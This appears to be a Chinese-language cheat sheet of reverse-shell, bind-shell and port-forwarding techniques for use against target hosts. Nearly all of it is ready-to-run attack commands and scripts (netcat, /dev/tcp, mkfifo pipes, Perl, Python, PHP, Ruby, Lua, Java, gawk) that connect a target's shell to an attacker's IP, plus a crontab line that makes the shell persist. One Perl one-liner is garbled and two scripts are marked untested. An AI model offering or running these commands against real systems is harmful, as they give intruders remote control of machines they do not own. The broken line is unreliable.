telnet to telnet 在目标系统生成一个转发shell,这个shell需要在攻击者本地监听两个端口分别是9970和9980
- nc -lvnp 9980 (攻击者本机本地监听9980,此处输入命令但结果显示会在本地监听的另一个端口显示)
- nc -lvnp 9970 (攻击者本机本地监听9970,此处是显示命令执行的结果)
- telnet 10.57.239.50 9980 | /bin/bash | telnet 10.57.239.50 9970
Windows下端口重定向工具fpipe
Linux下使用ssh进行本地,远程,隧道,或动态端口转发
- ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
- ssh -L 8080:127.0.0.1:80 root@192.168.2.80 Local Port
- ssh -R 8080:127.0.0.1:80 root@192.168.2.80 Remote Port
- ssh -D 127.0.0.1:9060 -N [username]@[ip]
- proxychains ifconfig
在netcat没有-e参数或者被删除禁用了可以使用mknod
- nc -lvnp 4488 (攻击者IP地址 10.7.9.50)
- mknod backpipe p; nc 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机上执行)
- Note: 上述mknod的使用之间0<backpipe 1>backpipe不能有空格,否则执行不成功,当然这个backpipe的名称可以随便换
netcat反弹shell
- nc -lvnp 4488 (攻击者IP地址 10.7.9.50)
- nc 10.7.9.50 4488 -e /bin/bash (目标主机上执行)
- /bin/sh | nc 10.7.9.50 4488
不使用netcat可以使用/dev/tcp套接字的编程特性,重定向/bin/bash到远程系统
- /bin/bash -i > /dev/tcp/10.7.9.50/4488 0<&1 2>&1 (目标主机上执行)
- bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
- 0<&196;exec 196<>/dev/tcp/10.7.9.50/4488; sh <&196 >&196 2>&196
- nc -lvnp 4488 (攻击者IP地址)
不用netcat和/dev/tcp
- mknod backpipe p && telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机执行,注意:使用&&的时候如果执行了一次生成了backpipe,再次执行此命令还显示已经存在backpipe执行不了,如果要再次执行可以更好backpipe名字或者删除backpipe)
- mknod backpipe p; telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机执行,注意:使用;的时候如果执行了一次生成了backpipe,再次执行此命令是没有问题,可以一直执行此相同的命令)
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.7.9.50 4488 >/tmp/f
- nc -lvnp 4488 (攻击者IP地址)
使用perl反弹shell
- perl -MIO -e 'p);c,r);c,w);system$_ while<>;' (目标主机上执行)
- nc -lvnp 4488 (攻击者本地监听)
使用perl代码反弹shell
- nc -lvnp 4488 (攻击者本地监听)
- 新建并编辑脚本 vim reshell.pl
#!/usr/bin/perl
use Socket;
$i="10.7.9.50";
$p=4488;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
使用Python反弹shell
- nc -lvnp 4488 (攻击者本地监听)
- 新建并编辑脚本 vim reshellpy1.py
#!/usr/bin/python
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.7.9.50",4488))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
- 新建并编辑脚本 vim reshellpy2.py
这个暂未测试,需要更改脚本
#!/usr/bin/python
import socket,subprocess
HOST = '10.16.44.100' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()
php反弹shell
- nc -lvnp 4488 (攻击者本机监听)
- php -r '$sock=fsockopen("10.57.239.50",4488);exec("/bin/sh -i <&3 >&3 2>&3");' (目标主机上执行)
Java反弹shell
暂未测试
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.7.9.50/4488;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
ruby反弹shell
- nc -lvnp 4488 (攻击者本机监听)
- ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.7.9.50","4488");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.57.239.50','4488');os.execute('/bin/sh -i <&3 >&3 2>&3');"
计划任务crontab反弹shell
目标主机添加如下计划任务
* * * * * /bin/bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
使用awk或者gawk在目标主机监听端口,然后攻击者主动连接,这个脚本不是反弹脚本
新建编辑shell.gawk 添加如下脚本
#!/usr/bin/gawk -f
BEGIN {
Port = 4488
Prompt = "p0rietea> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
然后给其执行权限chmod +x shell.gawk
新建编辑shell.awk 添加如下脚本
#!/usr/bin/awk -f
BEGIN {
Port = 4488
Prompt = "p0rietea> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
然后给其执行权限chmod +x shell.awk
在攻击主机上执行nc 10.7.9.50 4488